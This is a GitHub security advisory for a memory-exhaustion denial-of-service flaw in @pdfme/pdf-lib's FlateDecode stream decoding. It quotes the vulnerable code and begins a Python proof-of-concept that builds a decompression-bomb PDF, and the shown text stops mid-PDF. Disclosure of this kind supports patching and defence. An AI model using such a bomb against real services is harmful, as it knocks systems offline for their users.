GitHub Security Advisory: GHSA-vrqm-gvq7-rrwh
Package: @pdfme/pdf-lib (NPM)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)
Vulnerable versions: <= 5.5.9
Patched in: 5.5.10

Summary: PDFME Affected by Decompression Bomb in FlateDecode Stream Parsing Causes Memory Exhaustion DoS

Details:
## Summary

The `DecodeStream.ensureBuffer()` method in `@pdfme/pdf-lib` doubles its internal buffer without any upper bound on the decompressed size. A crafted PDF containing a FlateDecode stream with a high compression ratio (decompression bomb) causes unbounded memory allocation during stream decoding, leading to memory exhaustion and denial of service in both server-side (generator) and client-side (UI) contexts.

## Details

The vulnerability exists in the `DecodeStream` class, which is the base class for all stream decoders including `FlateStream` (DEFLATE/zlib decompression).

**Unbounded buffer growth in `ensureBuffer()`** — `packages/pdf-lib/src/core/streams/DecodeStream.ts:148-160`:

```typescript
protected ensureBuffer(requested: number) {
  const buffer = this.buffer;
  if (requested <= buffer.byteLength) {
    return buffer;
  }
  let size = this.minBufferLength;
  while (size < requested) {
    size *= 2;  // Doubles with no upper bound
  }
  const buffer2 = new Uint8Array(size);  // Allocates without limit
  buffer2.set(buffer);
  return (this.buffer = buffer2);
}
```

The `size *= 2` loop has no maximum size check. The buffer will continue doubling until the process runs out of memory.

**Unconditional full decompression in `decode()`** — `DecodeStream.ts:139-141`:

```typescript
decode(): Uint8Array {
  while (!this.eof) this.readBlock();  // Fully decompresses before returning
  return this.buffer.subarray(0, this.bufferLength);
}
```

**`FlateStream.readBlock()`** calls `ensureBuffer()` repeatedly during decompression — `packages/pdf-lib/src/core/streams/FlateStream.ts:272-274`:

```typescript
if (pos + 1 >= limit) {
  buffer = this.ensureBuffer(pos + 1);
  limit = buffer.length;
}
```

And again at line 297-300:

```typescript
if (pos + len >= limit) {
  buffer = this.ensureBuffer(pos + len);
  limit = buffer.length;
}
```

**Entry point via `basePdf`** — `packages/generator/src/helper.ts:42-43`:

```typescript
const willLoadPdf = await getB64BasePdf(basePdf);
const embedPdf = await PDFDocument.load(willLoadPdf);
```

The `basePdf` parameter accepts base64-encoded data, a URL, or raw bytes. When `PDFDocument.load()` parses the PDF, it encounters FlateDecode streams and decompresses them through `FlateStream` → `DecodeStream` with no size limits.

The same code path exists in the UI package at `packages/ui/src/helper.ts:292` and `packages/ui/src/hooks.ts:67`.

## PoC

**Step 1: Create a decompression bomb PDF**

```python
#!/usr/bin/env python3
"""Generate a PDF decompression bomb for PoC."""
import zlib
import struct

# Create highly compressible data: 100MB of null bytes
# compresses to ~100KB (~1000:1 ratio)
uncompressed = b'\x00' * (100 * 1024 * 1024)  # 100 MB
compressed = zlib.compress(uncompressed, 9)

# Minimal PDF structure with FlateDecode stream
pdf = b"""%PDF-1.4
1 0 obj
<< /Type /Catalog /Pages 2 0 R >>
endobj

2 0 obj
<< /Type /Pages /Kids [3 0 R] /Count 1 >>
endobj

3 0 obj
<< /Type /Page /Parent 2 0 R /MediaBox